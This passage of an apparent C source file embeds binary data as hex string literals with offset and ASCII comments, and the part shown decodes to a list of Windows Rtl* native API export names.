//ot3.RtlIsRangeAv /* 00D980 */ "\x61\x69\x6C\x61\x62\x6C\x65\x00\x52\x74\x6C\x49\x73\x54\x65\x78" //ailable.RtlIsTex /* 00D9A0 */ "\x74\x55\x6E\x69\x63\x6F\x64\x65\x00\x52\x74\x6C\x49\x73\x54\x68" //tUnicode.RtlIsTh /* 00D9C0 */ "\x72\x65\x61\x64\x57\x69\x74\x68\x69\x6E\x4C\x6F\x61\x64\x65\x72" //readWithinLoader /* 00D9E0 */ "\x43\x61\x6C\x6C\x6F\x75\x74\x00\x52\x74\x6C\x49\x73\x56\x61\x6C" //Callout.RtlIsVal /* 00DA00 */ "\x69\x64\x48\x61\x6E\x64\x6C\x65\x00\x52\x74\x6C\x49\x73\x56\x61" //idHandle.RtlIsVa /* 00DA20 */ "\x6C\x69\x64\x49\x6E\x64\x65\x78\x48\x61\x6E\x64\x6C\x65\x00\x52" //lidIndexHandle.R /* 00DA40 */ "\x74\x6C\x4C\x61\x72\x67\x65\x49\x6E\x74\x65\x67\x65\x72\x41\x64" //tlLargeIntegerAd /* 00DA60 */ "\x64\x00\x52\x74\x6C\x4C\x61\x72\x67\x65\x49\x6E\x74\x65\x67\x65" //d.RtlLargeIntege /* 00DA80 */ "\x72\x41\x72\x69\x74\x68\x6D\x65\x74\x69\x63\x53\x68\x69\x66\x74" //rArithmeticShift /* 00DAA0 */ "\x00\x52\x74\x6C\x4C\x61\x72\x67\x65\x49\x6E\x74\x65\x67\x65\x72" //.RtlLargeInteger /* 00DAC0 */ "\x44\x69\x76\x69\x64\x65\x00\x52\x74\x6C\x4C\x61\x72\x67\x65\x49" //Divide.RtlLargeI /* 00DAE0 */ "\x6E\x74\x65\x67\x65\x72\x4E\x65\x67\x61\x74\x65\x00\x52\x74\x6C" //ntegerNegate.Rtl /* 00DB00 */ "\x4C\x61\x72\x67\x65\x49\x6E\x74\x65\x67\x65\x72\x53\x68\x69\x66" //LargeIntegerShif /* 00DB20 */ "\x74\x4C\x65\x66\x74\x00\x52\x74\x6C\x4C\x61\x72\x67\x65\x49\x6E" //tLeft.RtlLargeIn /* 00DB40 */ "\x74\x65\x67\x65\x72\x53\x68\x69\x66\x74\x52\x69\x67\x68\x74\x00" //tegerShiftRight. /* 00DB60 */ "\x52\x74\x6C\x4C\x61\x72\x67\x65\x49\x6E\x74\x65\x67\x65\x72\x53" //RtlLargeIntegerS /* 00DB80 */ "\x75\x62\x74\x72\x61\x63\x74\x00\x52\x74\x6C\x4C\x61\x72\x67\x65" //ubtract.RtlLarge /* 00DBA0 */ "\x49\x6E\x74\x65\x67\x65\x72\x54\x6F\x43\x68\x61\x72\x00\x52\x74" //IntegerToChar.Rt /* 00DBC0 */ "\x6C\x4C\x65\x61\x76\x65\x43\x72\x69\x74\x69\x63\x61\x6C\x53\x65" //lLeaveCriticalSe /* 00DBE0 */ "\x63\x74\x69\x6F\x6E\x00\x52\x74\x6C\x4C\x65\x6E\x67\x74\x68\x52" //ction.RtlLengthR /* 00DC00 */ "\x65\x71\x75\x69\x72\x65\x64\x53\x69\x64\x00\x52\x74\x6C\x4C\x65" //equiredSid.RtlLe /* 00DC20 */ "\x6E\x67\x74\x68\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63" //ngthSecurityDesc /* 00DC40 */ "\x72\x69\x70\x74\x6F\x72\x00\x52\x74\x6C\x4C\x65\x6E\x67\x74\x68" //riptor.RtlLength /* 00DC60 */ "\x53\x69\x64\x00\x52\x74\x6C\x4C\x6F\x63\x61\x6C\x54\x69\x6D\x65" //Sid.RtlLocalTime /* 00DC80 */ "\x54\x6F\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x00\x52\x74\x6C" //ToSystemTime.Rtl /* 00DCA0 */ "\x4C\x6F\x63\x6B\x42\x6F\x6F\x74\x53\x74\x61\x74\x75\x73\x44\x61" //LockBootStatusDa /* 00DCC0 */ "\x74\x61\x00\x52\x74\x6C\x4C\x6F\x63\x6B\x48\x65\x61\x70\x00\x52" //ta.RtlLockHeap.R /* 00DCE0 */ "\x74\x6C\x4C\x6F\x63\x6B\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65" //tlLockMemoryStre /* 00DD00 */ "\x61\x6D\x52\x65\x67\x69\x6F\x6E\x00\x52\x74\x6C\x4C\x6F\x67\x53" //amRegion.RtlLogS /* 00DD20 */ "\x74\x61\x63\x6B\x42\x61\x63\x6B\x54\x72\x61\x63\x65\x00\x52\x74" //tackBackTrace.Rt /* 00DD40 */ "\x6C\x4C\x6F\x6F\x6B\x75\x70\x41\x74\x6F\x6D\x49\x6E\x41\x74\x6F" //lLookupAtomInAto /* 00DD60 */ "\x6D\x54\x61\x62\x6C\x65\x00\x52\x74\x6C\x4C\x6F\x6F\x6B\x75\x70" //mTable.RtlLookup /* 00DD80 */ "\x45\x6C\x65\x6D\x65\x6E\x74\x47\x65\x6E\x65\x72\x69\x63\x54\x61" //ElementGenericTa /* 00DDA0 */ "\x62\x6C\x65\x00\x52\x74\x6C\x4C\x6F\x6F\x6B\x75\x70\x45\x6C\x65" //ble.RtlLookupEle /* 00DDC0 */ "\x6D\x65\x6E\x74\x47\x65\x6E\x65\x72\x69\x63\x54\x61\x62\x6C\x65" //mentGenericTable /* 00DDE0 */ "\x41\x76\x6C\x00\x52\x74\x6C\x4D\x61\x6B\x65\x53\x65\x6C\x66\x52" //Avl.RtlMakeSelfR /* 00DE00 */ "\x65\x6C\x61\x74\x69\x76\x65\x53\x44\x00\x52\x74\x6C\x4D\x61\x70" //elativeSD.RtlMap /* 00DE20 */ "\x47\x65\x6E\x65\x72\x69\x63\x4D\x61\x73\x6B\x00\x52\x74\x6C\x4D" //GenericMask.RtlM /* 00DE40 */ "\x61\x70\x53\x65\x63\x75\x72\x69\x74\x79\x45\x72\x72\x6F\x72\x54" //apSecurityErrorT /* 00DE60 */ "\x6F\x4E\x74\x53\x74\x61\x74\x75\x73\x00\x52\x74\x6C\x4D\x65\x72" //oNtStatus.RtlMer /* 00DE80 */ "\x67\x65\x52\x61\x6E\x67\x65\x4C\x69\x73\x74\x73\x00\x52\x74\x6C" //geRangeLists.Rtl /* 00DEA0 */ "\x4D\x6F\x76\x65\x4D\x65\x6D\x6F\x72\x79\x00\x52\x74\x6C\x4D\x75" //MoveMemory.RtlMu /* 00DEC0 */ "\x6C\x74\x69\x41\x70\x70\x65\x6E\x64\x55\x6E\x69\x63\x6F\x64\x65" //ltiAppendUnicode /* 00DEE0 */ "\x53\x74\x72\x69\x6E\x67\x42\x75\x66\x66\x65\x72\x00\x52\x74\x6C" //StringBuffer.Rtl /* 00DF00 */ "\x4D\x75\x6C\x74\x69\x42\x79\x74\x65\x54\x6F\x55\x6E\x69\x63\x6F" //MultiByteToUnico /* 00DF20 */ "\x64\x65\x4E\x00\x52\x74\x6C\x4D\x75\x6C\x74\x69\x42\x79\x74\x65" //deN.RtlMultiByte /* 00DF40 */ "\x54\x6F\x55\x6E\x69\x63\x6F\x64\x65\x53\x69\x7A\x65\x00\x52\x74" //ToUnicodeSize.Rt /* 00DF60 */ "\x6C\x4E\x65\x77\x49\x6E\x73\x74\x61\x6E\x63\x65\x53\x65\x63\x75" //lNewInstanceSecu /* 00DF80 */ "\x72\x69\x74\x79\x4F\x62\x6A\x65\x63\x74\x00\x52\x74\x6C\x4E\x65" //rityObject.RtlNe /* 00DFA0 */ "\x77\x53\x65\x63\x75\x72\x69\x74\x79\x47\x72\x61\x6E\x74\x65\x64" //wSecurityGranted /* 00DFC0 */ "\x41\x63\x63\x65\x73\x73\x00\x52\x74\x6C\x4E\x65\x77\x53\x65\x63" //Access.RtlNewSec /* 00DFE0 */ "\x75\x72\x69\x74\x79\x4F\x62\x6A\x65\x63\x74\x00\x52\x74\x6C\x4E" //urityObject.RtlN /* 00E000 */ "\x65\x77\x53\x65\x63\x75\x72\x69\x74\x79\x4F\x62\x6A\x65\x63\x74" //ewSecurityObject /* 00E020 */ "\x45\x78\x00\x52\x74\x6C\x4E\x65\x77\x53\x65\x63\x75\x72\x69\x74" //Ex.RtlNewSecurit /* 00E040 */ "\x79\x4F\x62\x6A\x65\x63\x74\x57\x69\x74\x68\x4D\x75\x6C\x74\x69" //yObjectWithMulti /* 00E060 */ "\x70\x6C\x65\x49\x6E\x68\x65\x72\x69\x74\x61\x6E\x63\x65\x00\x52" //pleInheritance.R /* 00E080 */ "\x74\x6C\x4E\x6F\x72\x6D\x61\x6C\x69\x7A\x65\x50\x72\x6F\x63\x65" //tlNormalizeProce /* 00E0A0 */ "\x73\x73\x50\x61\x72\x61\x6D\x73\x00\x52\x74\x6C\x4E\x74\x50\x61" //ssParams.RtlNtPa /* 00E0C0 */ "\x74\x68\x4E\x61\x6D\x65\x54\x6F\x44\x6F\x73\x50\x61\x74\x68\x4E" //thNameToDosPathN /* 00E0E0 */ "\x61\x6D\x65\x00\x52\x74\x6C\x4E\x74\x53\x74\x61\x74\x75\x73\x54" //ame.RtlNtStatusT /* 00E100 */ "\x6F\x44\x6F\x73\x45\x72\x72\x6F\x72\x00\x52\x74\x6C\x4E\x74\x53" //oDosError.RtlNtS /* 00E120 */ "\x74\x61\x74\x75\x73\x54\x6F\x44\x6F\x73\x45\x72\x72\x6F\x72\x4E" //tatusToDosErrorN /* 00E140 */ "\x6F\x54\x65\x62\x00\x52\x74\x6C\x4E\x75\x6D\x62\x65\x72\x47\x65" //oTeb.RtlNumberGe /* 00E160 */ "\x6E\x65\x72\x69\x63\x54\x61\x62\x6C\x65\x45\x6C\x65\x6D\x65\x6E" //nericTableElemen /* 00E180 */ "\x74\x73\x00\x52\x74\x6C\x4E\x75\x6D\x62\x65\x72\x47\x65\x6E\x65" //ts.RtlNumberGene /* 00E1A0 */ "\x72\x69\x63\x54\x61\x62\x6C\x65\x45\x6C\x65\x6D\x65\x6E\x74\x73" //ricTableElements /* 00E1C0 */ "\x41\x76\x6C\x00\x52\x74\x6C\x4E\x75\x6D\x62\x65\x72\x4F\x66\x43" //Avl.RtlNumberOfC /* 00E1E0 */ "\x6C\x65\x61\x72\x42\x69\x74\x73\x00\x52\x74\x6C\x4E\x75\x6D\x62" //learBits.RtlNumb /* 00E200 */ "\x65\x72\x4F\x66\x53\x65\x74\x42\x69\x74\x73\x00\x52\x74\x6C\x4F" //erOfSetBits.RtlO /* 00E220 */ "\x65\x6D\x53\x74\x72\x69\x6E\x67\x54\x6F\x55\x6E\x69\x63\x6F\x64" //emStringToUnicod /* 00E240 */ "\x65\x53\x69\x7A\x65\x00\x52\x74\x6C\x4F\x65\x6D\x53\x74\x72\x69" //eSize.RtlOemStri /* 00E260 */ "\x6E\x67\x54\x6F\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E" //ngToUnicodeStrin /* 00E280 */ "\x67\x00\x52\x74\x6C\x4F\x65\x6D\x54\x6F\x55\x6E\x69\x63\x6F\x64" //g.RtlOemToUnicod /* 00E2A0 */ "\x65\x4E\x00\x52\x74\x6C\x4F\x70\x65\x6E\x43\x75\x72\x72\x65\x6E" //eN.RtlOpenCurren /* 00E2C0 */ "\x74\x55\x73\x65\x72\x00\x52\x74\x6C\x50\x63\x54\x6F\x46\x69\x6C" //tUser.RtlPcToFil /* 00E2E0 */ "\x65\x48\x65\x61\x64\x65\x72\x00\x52\x74\x6C\x50\x69\x6E\x41\x74" //eHeader.RtlPinAt /* 00E300 */ "\x6F\x6D\x49\x6E\x41\x74\x6F\x6D\x54\x61\x62\x6C\x65\x00\x52\x74" //omInAtomTable.Rt /* 00E320 */ "\x6C\x50\x6F\x70\x46\x72\x61\x6D\x65\x00\x52\x74\x6C\x50\x72\x65" //lPopFrame.RtlPre /* 00E340 */ "\x66\x69\x78\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x50\x72\x65" //fixString.RtlPre /* 00E360 */ "\x66\x69\x78\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67" //fixUnicodeString /* 00E380 */ "\x00\x52\x74\x6C\x50\x72\x6F\x74\x65\x63\x74\x48\x65\x61\x70\x00" //.RtlProtectHeap. /* 00E3A0 */ "\x52\x74\x6C\x50\x75\x73\x68\x46\x72\x61\x6D\x65\x00\x52\x74\x6C" //RtlPushFrame.Rtl /* 00E3C0 */ "\x51\x75\x65\x72\x79\x41\x74\x6F\x6D\x49\x6E\x41\x74\x6F\x6D\x54" //QueryAtomInAtomT /* 00E3E0 */ "\x61\x62\x6C\x65\x00\x52\x74\x6C\x51\x75\x65\x72\x79\x44\x65\x70" //able.RtlQueryDep /* 00E400 */ "\x74\x68\x53\x4C\x69\x73\x74\x00\x52\x74\x6C\x51\x75\x65\x72\x79" //thSList.RtlQuery /* 00E420 */ "\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x72\x69\x61" //EnvironmentVaria /* 00E440 */ "\x62\x6C\x65\x5F\x55\x00\x52\x74\x6C\x51\x75\x65\x72\x79\x48\x65" //ble_U.RtlQueryHe /* 00E460 */ "\x61\x70\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x52\x74" //apInformation.Rt /* 00E480 */ "\x6C\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F" //lQueryInformatio /* 00E4A0 */ "\x6E\x41\x63\x6C\x00\x52\x74\x6C\x51\x75\x65\x72\x79\x49\x6E\x66" //nAcl.RtlQueryInf /* 00E4C0 */ "\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x61\x74\x69" //ormationActivati /* 00E4E0 */ "\x6F\x6E\x43\x6F\x6E\x74\x65\x78\x74\x00\x52\x74\x6C\x51\x75\x65" //onContext.RtlQue /* 00E500 */ "\x72\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x41\x63\x74" //ryInformationAct /* 00E520 */ "\x69\x76\x65\x41\x63\x74\x69\x76\x61\x74\x69\x6F\x6E\x43\x6F\x6E" //iveActivationCon /* 00E540 */ "\x74\x65\x78\x74\x00\x52\x74\x6C\x51\x75\x65\x72\x79\x49\x6E\x74" //text.RtlQueryInt /* 00E560 */ "\x65\x72\x66\x61\x63\x65\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65" //erfaceMemoryStre /* 00E580 */ "\x61\x6D\x00\x52\x74\x6C\x51\x75\x65\x72\x79\x50\x72\x6F\x63\x65" //am.RtlQueryProce /* 00E5A0 */ "\x73\x73\x42\x61\x63\x6B\x54\x72\x61\x63\x65\x49\x6E\x66\x6F\x72" //ssBackTraceInfor /* 00E5C0 */ "\x6D\x61\x74\x69\x6F\x6E\x00\x52\x74\x6C\x51\x75\x65\x72\x79\x50" //mation.RtlQueryP /* 00E5E0 */ "\x72\x6F\x63\x65\x73\x73\x44\x65\x62\x75\x67\x49\x6E\x66\x6F\x72" //rocessDebugInfor /* 00E600 */ "\x6D\x61\x74\x69\x6F\x6E\x00\x52\x74\x6C\x51\x75\x65\x72\x79\x50" //mation.RtlQueryP /* 00E620 */ "\x72\x6F\x63\x65\x73\x73\x48\x65\x61\x70\x49\x6E\x66\x6F\x72\x6D" //rocessHeapInform /* 00E640 */ "\x61\x74\x69\x6F\x6E\x00\x52\x74\x6C\x51\x75\x65\x72\x79\x50\x72" //ation.RtlQueryPr /* 00E660 */ "\x6F\x63\x65\x73\x73\x4C\x6F\x63\x6B\x49\x6E\x66\x6F\x72\x6D\x61" //ocessLockInforma /* 00E680 */ "\x74\x69\x6F\x6E\x00\x52\x74\x6C\x51\x75\x65\x72\x79\x52\x65\x67" //tion.RtlQueryReg /* 00E6A0 */ "\x69\x73\x74\x72\x79\x56\x61\x6C\x75\x65\x73\x00\x52\x74\x6C\x51" //istryValues.RtlQ /* 00E6C0 */ "\x75\x65\x72\x79\x53\x65\x63\x75\x72\x69\x74\x79\x4F\x62\x6A\x65" //uerySecurityObje /* 00E6E0 */ "\x63\x74\x00\x52\x74\x6C\x51\x75\x65\x72\x79\x54\x61\x67\x48\x65" //ct.RtlQueryTagHe /* 00E700 */ "\x61\x70\x00\x52\x74\x6C\x51\x75\x65\x72\x79\x54\x69\x6D\x65\x5A" //ap.RtlQueryTimeZ /* 00E720 */ "\x6F\x6E\x65\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x52" //oneInformation.R /* 00E740 */ "\x74\x6C\x51\x75\x65\x75\x65\x41\x70\x63\x57\x6F\x77\x36\x34\x54" //tlQueueApcWow64T /* 00E760 */ "\x68\x72\x65\x61\x64\x00\x52\x74\x6C\x51\x75\x65\x75\x65\x57\x6F" //hread.RtlQueueWo /* 00E780 */ "\x72\x6B\x49\x74\x65\x6D\x00\x52\x74\x6C\x52\x61\x69\x73\x65\x45" //rkItem.RtlRaiseE /* 00E7A0 */ "\x78\x63\x65\x70\x74\x69\x6F\x6E\x00\x52\x74\x6C\x52\x61\x69\x73" //xception.RtlRais /* 00E7C0 */ "\x65\x53\x74\x61\x74\x75\x73\x00\x52\x74\x6C\x52\x61\x6E\x64\x6F" //eStatus.RtlRando /* 00E7E0 */ "\x6D\x00\x52\x74\x6C\x52\x61\x6E\x64\x6F\x6D\x45\x78\x00\x52\x74" //m.RtlRandomEx.Rt /* 00E800 */ "\x6C\x52\x65\x41\x6C\x6C\x6F\x63\x61\x74\x65\x48\x65\x61\x70\x00" //lReAllocateHeap. /* 00E820 */ "\x52\x74\x6C\x52\x65\x61\x64\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72" //RtlReadMemoryStr /* 00E840 */ "\x65\x61\x6D\x00\x52\x74\x6C\x52\x65\x61\x64\x4F\x75\x74\x4F\x66" //eam.RtlReadOutOf /* 00E860 */ "\x50\x72\x6F\x63\x65\x73\x73\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72" //ProcessMemoryStr /* 00E880 */ "\x65\x61\x6D\x00\x52\x74\x6C\x52\x65\x61\x6C\x50\x72\x65\x64\x65" //eam.RtlRealPrede /* 00E8A0 */ "\x63\x65\x73\x73\x6F\x72\x00\x52\x74\x6C\x52\x65\x61\x6C\x53\x75" //cessor.RtlRealSu /* 00E8C0 */ "\x63\x63\x65\x73\x73\x6F\x72\x00\x52\x74\x6C\x52\x65\x67\x69\x73" //ccessor.RtlRegis /* 00E8E0 */ "\x74\x65\x72\x53\x65\x63\x75\x72\x65\x4D\x65\x6D\x6F\x72\x79\x43" //terSecureMemoryC /* 00E900 */ "\x61\x63\x68\x65\x43\x61\x6C\x6C\x62\x61\x63\x6B\x00\x52\x74\x6C" //acheCallback.Rtl /* 00E920 */ "\x52\x65\x67\x69\x73\x74\x65\x72\x57\x61\x69\x74\x00\x52\x74\x6C" //RegisterWait.Rtl /* 00E940 */ "\x52\x65\x6C\x65\x61\x73\x65\x41\x63\x74\x69\x76\x61\x74\x69\x6F" //ReleaseActivatio /* 00E960 */ "\x6E\x43\x6F\x6E\x74\x65\x78\x74\x00\x52\x74\x6C\x52\x65\x6C\x65" //nContext.RtlRele /* 00E980 */ "\x61\x73\x65\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65\x61\x6D\x00" //aseMemoryStream. /* 00E9A0 */ "\x52\x74\x6C\x52\x65\x6C\x65\x61\x73\x65\x50\x65\x62\x4C\x6F\x63" //RtlReleasePebLoc /* 00E9C0 */ "\x6B\x00\x52\x74\x6C\x52\x65\x6C\x65\x61\x73\x65\x52\x65\x73\x6F" //k.RtlReleaseReso /* 00E9E0 */ "\x75\x72\x63\x65\x00\x52\x74\x6C\x52\x65\x6D\x6F\x74\x65\x43\x61" //urce.RtlRemoteCa /* 00EA00 */ "\x6C\x6C\x00\x52\x74\x6C\x52\x65\x6D\x6F\x76\x65\x56\x65\x63\x74" //ll.RtlRemoveVect /* 00EA20 */ "\x6F\x72\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x48\x61\x6E" //oredExceptionHan /* 00EA40 */ "\x64\x6C\x65\x72\x00\x52\x74\x6C\x52\x65\x73\x65\x74\x52\x74\x6C" //dler.RtlResetRtl /* 00EA60 */ "\x54\x72\x61\x6E\x73\x6C\x61\x74\x69\x6F\x6E\x73\x00\x52\x74\x6C" //Translations.Rtl /* 00EA80 */ "\x52\x65\x73\x74\x6F\x72\x65\x4C\x61\x73\x74\x57\x69\x6E\x33\x32" //RestoreLastWin32 /* 00EAA0 */ "\x45\x72\x72\x6F\x72\x00\x52\x74\x6C\x52\x65\x76\x65\x72\x74\x4D" //Error.RtlRevertM /* 00EAC0 */ "\x65\x6D\x6F\x72\x79\x53\x74\x72\x65\x61\x6D\x00\x52\x74\x6C\x52" //emoryStream.RtlR /* 00EAE0 */ "\x75\x6E\x44\x65\x63\x6F\x64\x65\x55\x6E\x69\x63\x6F\x64\x65\x53" //unDecodeUnicodeS /* 00EB00 */ "\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x52\x75\x6E\x45\x6E\x63\x6F" //tring.RtlRunEnco /* 00EB20 */ "\x64\x65\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x00" //deUnicodeString. /* 00EB40 */ "\x52\x74\x6C\x53\x65\x63\x6F\x6E\x64\x73\x53\x69\x6E\x63\x65\x31" //RtlSecondsSince1 /* 00EB60 */ "\x39\x37\x30\x54\x6F\x54\x69\x6D\x65\x00\x52\x74\x6C\x53\x65\x63" //970ToTime.RtlSec /* 00EB80 */ "\x6F\x6E\x64\x73\x53\x69\x6E\x63\x65\x31\x39\x38\x30\x54\x6F\x54" //ondsSince1980ToT /* 00EBA0 */ "\x69\x6D\x65\x00\x52\x74\x6C\x53\x65\x65\x6B\x4D\x65\x6D\x6F\x72" //ime.RtlSeekMemor /* 00EBC0 */ "\x79\x53\x74\x72\x65\x61\x6D\x00\x52\x74\x6C\x53\x65\x6C\x66\x52" //yStream.RtlSelfR /* 00EBE0 */ "\x65\x6C\x61\x74\x69\x76\x65\x54\x6F\x41\x62\x73\x6F\x6C\x75\x74" //elativeToAbsolut /* 00EC00 */ "\x65\x53\x44\x00\x52\x74\x6C\x53\x65\x6C\x66\x52\x65\x6C\x61\x74" //eSD.RtlSelfRelat /* 00EC20 */ "\x69\x76\x65\x54\x6F\x41\x62\x73\x6F\x6C\x75\x74\x65\x53\x44\x32" //iveToAbsoluteSD2 /* 00EC40 */ "\x00\x52\x74\x6C\x53\x65\x74\x41\x6C\x6C\x42\x69\x74\x73\x00\x52" //.RtlSetAllBits.R /* 00EC60 */ "\x74\x6C\x53\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x73\x53" //tlSetAttributesS /* 00EC80 */ "\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F" //ecurityDescripto /* 00ECA0 */ "\x72\x00\x52\x74\x6C\x53\x65\x74\x42\x69\x74\x73\x00\x52\x74\x6C" //r.RtlSetBits.Rtl /* 00ECC0 */ "\x53\x65\x74\x43\x6F\x6E\x74\x72\x6F\x6C\x53\x65\x63\x75\x72\x69" //SetControlSecuri /* 00ECE0 */ "\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x00\x52\x74\x6C" //tyDescriptor.Rtl /* 00ED00 */ "\x53\x65\x74\x43\x72\x69\x74\x69\x63\x61\x6C\x53\x65\x63\x74\x69" //SetCriticalSecti /* 00ED20 */ "\x6F\x6E\x53\x70\x69\x6E\x43\x6F\x75\x6E\x74\x00\x52\x74\x6C\x53" //onSpinCount.RtlS /* 00ED40 */ "\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x44\x69\x72\x65\x63\x74\x6F" //etCurrentDirecto /* 00ED60 */ "\x72\x79\x5F\x55\x00\x52\x74\x6C\x53\x65\x74\x43\x75\x72\x72\x65" //ry_U.RtlSetCurre /* 00ED80 */ "\x6E\x74\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x00\x52\x74" //ntEnvironment.Rt /* 00EDA0 */ "\x6C\x53\x65\x74\x44\x61\x63\x6C\x53\x65\x63\x75\x72\x69\x74\x79" //lSetDaclSecurity /* 00EDC0 */ "\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x00\x52\x74\x6C\x53\x65" //Descriptor.RtlSe /* 00EDE0 */ "\x74\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x72\x69" //tEnvironmentVari /* 00EE00 */ "\x61\x62\x6C\x65\x00\x52\x74\x6C\x53\x65\x74\x47\x72\x6F\x75\x70" //able.RtlSetGroup /* 00EE20 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74" //SecurityDescript /* 00EE40 */ "\x6F\x72\x00\x52\x74\x6C\x53\x65\x74\x48\x65\x61\x70\x49\x6E\x66" //or.RtlSetHeapInf /* 00EE60 */ "\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x52\x74\x6C\x53\x65\x74\x49" //ormation.RtlSetI /* 00EE80 */ "\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x41\x63\x6C\x00\x52\x74" //nformationAcl.Rt /* 00EEA0 */ "\x6C\x53\x65\x74\x49\x6F\x43\x6F\x6D\x70\x6C\x65\x74\x69\x6F\x6E" //lSetIoCompletion /* 00EEC0 */ "\x43\x61\x6C\x6C\x62\x61\x63\x6B\x00\x52\x74\x6C\x53\x65\x74\x4C" //Callback.RtlSetL /* 00EEE0 */ "\x61\x73\x74\x57\x69\x6E\x33\x32\x45\x72\x72\x6F\x72\x00\x52\x74" //astWin32Error.Rt /* 00EF00 */ "\x6C\x53\x65\x74\x4C\x61\x73\x74\x57\x69\x6E\x33\x32\x45\x72\x72" //lSetLastWin32Err /* 00EF20 */ "\x6F\x72\x41\x6E\x64\x4E\x74\x53\x74\x61\x74\x75\x73\x46\x72\x6F" //orAndNtStatusFro /* 00EF40 */ "\x6D\x4E\x74\x53\x74\x61\x74\x75\x73\x00\x52\x74\x6C\x53\x65\x74" //mNtStatus.RtlSet /* 00EF60 */ "\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65\x61\x6D\x53\x69\x7A\x65" //MemoryStreamSize /* 00EF80 */ "\x00\x52\x74\x6C\x53\x65\x74\x4F\x77\x6E\x65\x72\x53\x65\x63\x75" //.RtlSetOwnerSecu /* 00EFA0 */ "\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x00\x52" //rityDescriptor.R /* 00EFC0 */ "\x74\x6C\x53\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x49\x73\x43\x72" //tlSetProcessIsCr /* 00EFE0 */ "\x69\x74\x69\x63\x61\x6C\x00\x52\x74\x6C\x53\x65\x74\x53\x61\x63" //itical.RtlSetSac /* 00F000 */ "\x6C\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70" //lSecurityDescrip /* 00F020 */ "\x74\x6F\x72\x00\x52\x74\x6C\x53\x65\x74\x53\x65\x63\x75\x72\x69" //tor.RtlSetSecuri /* 00F040 */ "\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x52\x4D\x43\x6F" //tyDescriptorRMCo /* 00F060 */ "\x6E\x74\x72\x6F\x6C\x00\x52\x74\x6C\x53\x65\x74\x53\x65\x63\x75" //ntrol.RtlSetSecu /* 00F080 */ "\x72\x69\x74\x79\x4F\x62\x6A\x65\x63\x74\x00\x52\x74\x6C\x53\x65" //rityObject.RtlSe /* 00F0A0 */ "\x74\x53\x65\x63\x75\x72\x69\x74\x79\x4F\x62\x6A\x65\x63\x74\x45" //tSecurityObjectE /* 00F0C0 */ "\x78\x00\x52\x74\x6C\x53\x65\x74\x54\x68\x72\x65\x61\x64\x49\x73" //x.RtlSetThreadIs /* 00F0E0 */ "\x43\x72\x69\x74\x69\x63\x61\x6C\x00\x52\x74\x6C\x53\x65\x74\x54" //Critical.RtlSetT /* 00F100 */ "\x68\x72\x65\x61\x64\x50\x6F\x6F\x6C\x53\x74\x61\x72\x74\x46\x75" //hreadPoolStartFu /* 00F120 */ "\x6E\x63\x00\x52\x74\x6C\x53\x65\x74\x54\x69\x6D\x65\x5A\x6F\x6E" //nc.RtlSetTimeZon /* 00F140 */ "\x65\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x52\x74\x6C" //eInformation.Rtl /* 00F160 */ "\x53\x65\x74\x54\x69\x6D\x65\x72\x00\x52\x74\x6C\x53\x65\x74\x55" //SetTimer.RtlSetU /* 00F180 */ "\x6E\x69\x63\x6F\x64\x65\x43\x61\x6C\x6C\x6F\x75\x74\x73\x00\x52" //nicodeCallouts.R /* 00F1A0 */ "\x74\x6C\x53\x65\x74\x55\x73\x65\x72\x46\x6C\x61\x67\x73\x48\x65" //tlSetUserFlagsHe /* 00F1C0 */ "\x61\x70\x00\x52\x74\x6C\x53\x65\x74\x55\x73\x65\x72\x56\x61\x6C" //ap.RtlSetUserVal /* 00F1E0 */ "\x75\x65\x48\x65\x61\x70\x00\x52\x74\x6C\x53\x69\x7A\x65\x48\x65" //ueHeap.RtlSizeHe /* 00F200 */ "\x61\x70\x00\x52\x74\x6C\x53\x70\x6C\x61\x79\x00\x52\x74\x6C\x53" //ap.RtlSplay.RtlS /* 00F220 */ "\x74\x61\x72\x74\x52\x58\x61\x63\x74\x00\x52\x74\x6C\x53\x74\x61" //tartRXact.RtlSta /* 00F240 */ "\x74\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65\x61\x6D\x00\x52\x74" //tMemoryStream.Rt /* 00F260 */ 